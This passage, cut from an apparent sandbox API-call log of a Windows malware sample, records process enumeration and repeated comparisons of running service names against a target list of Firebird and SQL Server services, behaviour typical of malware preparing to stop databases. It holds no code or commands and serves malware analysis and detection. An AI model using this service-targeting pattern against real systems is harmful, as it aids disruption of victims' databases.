lpString2="RpcSs") returned -1 [0270.017] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0270.017] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0270.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0270.017] lstrlenW (lpString="SamSs") returned 5 [0270.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0270.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0270.017] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0270.018] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0270.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0270.018] lstrlenW (lpString="Schedule") returned 8 [0270.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0270.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0270.018] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0270.018] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0270.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0270.018] lstrlenW (lpString="SecurityHealthService") returned 21 [0270.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0270.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0270.018] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0270.018] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0270.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0270.018] lstrlenW (lpString="SENS") returned 4 [0270.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0270.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0270.018] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0270.019] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0270.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0270.019] lstrlenW (lpString="ShellHWDetection") returned 16 [0270.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0270.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0270.019] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0270.019] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0270.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0270.019] lstrlenW (lpString="Spooler") returned 7 [0270.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0270.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0270.019] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0270.019] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0270.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0270.020] lstrlenW (lpString="SSDPSRV") returned 7 [0270.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0270.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0270.020] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0270.020] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0270.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0270.021] lstrlenW (lpString="StateRepository") returned 15 [0270.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0270.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0270.021] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0270.021] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0270.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0270.021] lstrlenW (lpString="SysMain") returned 7 [0270.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0270.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0270.021] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0270.021] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0270.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0270.021] lstrlenW (lpString="SystemEventsBroker") returned 18 [0270.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0270.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0270.021] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0270.021] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0270.022] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5060050 | out: hHeap=0x670000) returned 1 [0270.022] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x304 [0270.031] Process32FirstW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0270.032] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0270.033] lstrlenW (lpString="System") returned 6 [0270.033] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0270.033] lstrlenW (lpString="smss.exe") returned 8 [0270.033] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0270.034] lstrlenW (lpString="csrss.exe") returned 9 [0270.034] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0270.034] lstrlenW (lpString="wininit.exe") returned 11 [0270.035] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0270.035] lstrlenW (lpString="csrss.exe") returned 9 [0270.035] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0270.036] lstrlenW (lpString="winlogon.exe") returned 12 [0270.036] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0270.037] lstrlenW (lpString="services.exe") returned 12 [0270.037] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0270.039] lstrlenW (lpString="lsass.exe") returned 9 [0270.039] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0270.040] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0270.040] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0270.041] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0270.041] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.042] lstrlenW (lpString="svchost.exe") returned 11 [0270.042] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.043] lstrlenW (lpString="svchost.exe") returned 11 [0270.043] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0270.043] lstrlenW (lpString="dwm.exe") returned 7 [0270.043] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.044] lstrlenW (lpString="svchost.exe") returned 11 [0270.044] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.045] lstrlenW (lpString="svchost.exe") returned 11 [0270.045] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.045] lstrlenW (lpString="svchost.exe") returned 11 [0270.045] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.046] lstrlenW (lpString="svchost.exe") returned 11 [0270.046] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.046] lstrlenW (lpString="svchost.exe") returned 11 [0270.047] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.047] lstrlenW (lpString="svchost.exe") returned 11 [0270.047] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.049] lstrlenW (lpString="svchost.exe") returned 11 [0270.050] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.050] lstrlenW (lpString="svchost.exe") returned 11 [0270.050] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.051] lstrlenW (lpString="svchost.exe") returned 11 [0270.051] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.052] lstrlenW (lpString="svchost.exe") returned 11 [0270.442] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0270.442] lstrlenW (lpString="spoolsv.exe") returned 11 [0270.442] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.443] lstrlenW (lpString="svchost.exe") returned 11 [0270.443] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0270.444] lstrlenW (lpString="audiodg.exe") returned 11 [0270.444] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0270.445] lstrlenW (lpString="sihost.exe") returned 10 [0270.445] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.446] lstrlenW (lpString="svchost.exe") returned 11 [0270.446] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0270.446] lstrlenW (lpString="taskhostw.exe") returned 13 [0270.447] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0270.447] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0270.447] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0270.448] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0270.448] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0270.449] lstrlenW (lpString="Memory Compression") returned 18 [0270.449] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0270.449] lstrlenW (lpString="explorer.exe") returned 12 [0270.449] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0270.450] lstrlenW (lpString="SearchUI.exe") returned 12 [0270.450] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0270.451] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0270.451] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0270.452] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0270.452] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0270.452] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0270.453] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0270.453] lstrlenW (lpString="finbbp.exe") returned 10 [0270.453] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0270.455] lstrlenW (lpString="consent.exe") returned 11 [0270.455] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.455] lstrlenW (lpString="svchost.exe") returned 11 [0270.455] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0270.456] lstrlenW (lpString="dllhost.exe") returned 11 [0270.456] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0270.457] CloseHandle (hObject=0x304) returned 1 [0270.457] Sleep (dwMilliseconds=0x1f4) [0271.063] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aa718 [0271.063] EnumServicesStatusExW (in: hSCManager=0x41aa718, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0271.064] GetLastError () returned 0xea [0271.064] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1ca4) returned 0x5060050 [0271.064] EnumServicesStatusExW (in: hSCManager=0x41aa718, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5060050, cbBufSize=0x1ca4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5060050, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0271.065] CloseServiceHandle (hSCObject=0x41aa718) returned 1 [0271.065] lstrlenW (lpString="Appinfo") returned 7 [0271.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0271.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0271.065] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0271.065] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0271.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0271.065] lstrlenW (lpString="AppXSvc") returned 7 [0271.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0271.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0271.066] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0271.066] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0271.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0271.066] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0271.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0271.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0271.066] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0271.066] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0271.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0271.066] lstrlenW (lpString="Audiosrv") returned 8 [0271.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0271.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0271.066] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0271.066] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0271.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0271.066] lstrlenW (lpString="BFE") returned 3 [0271.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0271.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0271.066] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0271.066] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0271.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0271.066] lstrlenW (lpString="BITS") returned 4 [0271.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0271.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0271.066] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0271.066] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0271.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0271.066] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0271.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0271.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0271.066] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0271.067] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0271.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0271.067] lstrlenW (lpString="CDPSvc") returned 6 [0271.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0271.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0271.067] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0271.067] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0271.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0271.067] lstrlenW (lpString="ClickToRunSvc") returned 13 [0271.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0271.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0271.067] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0271.067] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0271.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0271.067] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0271.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 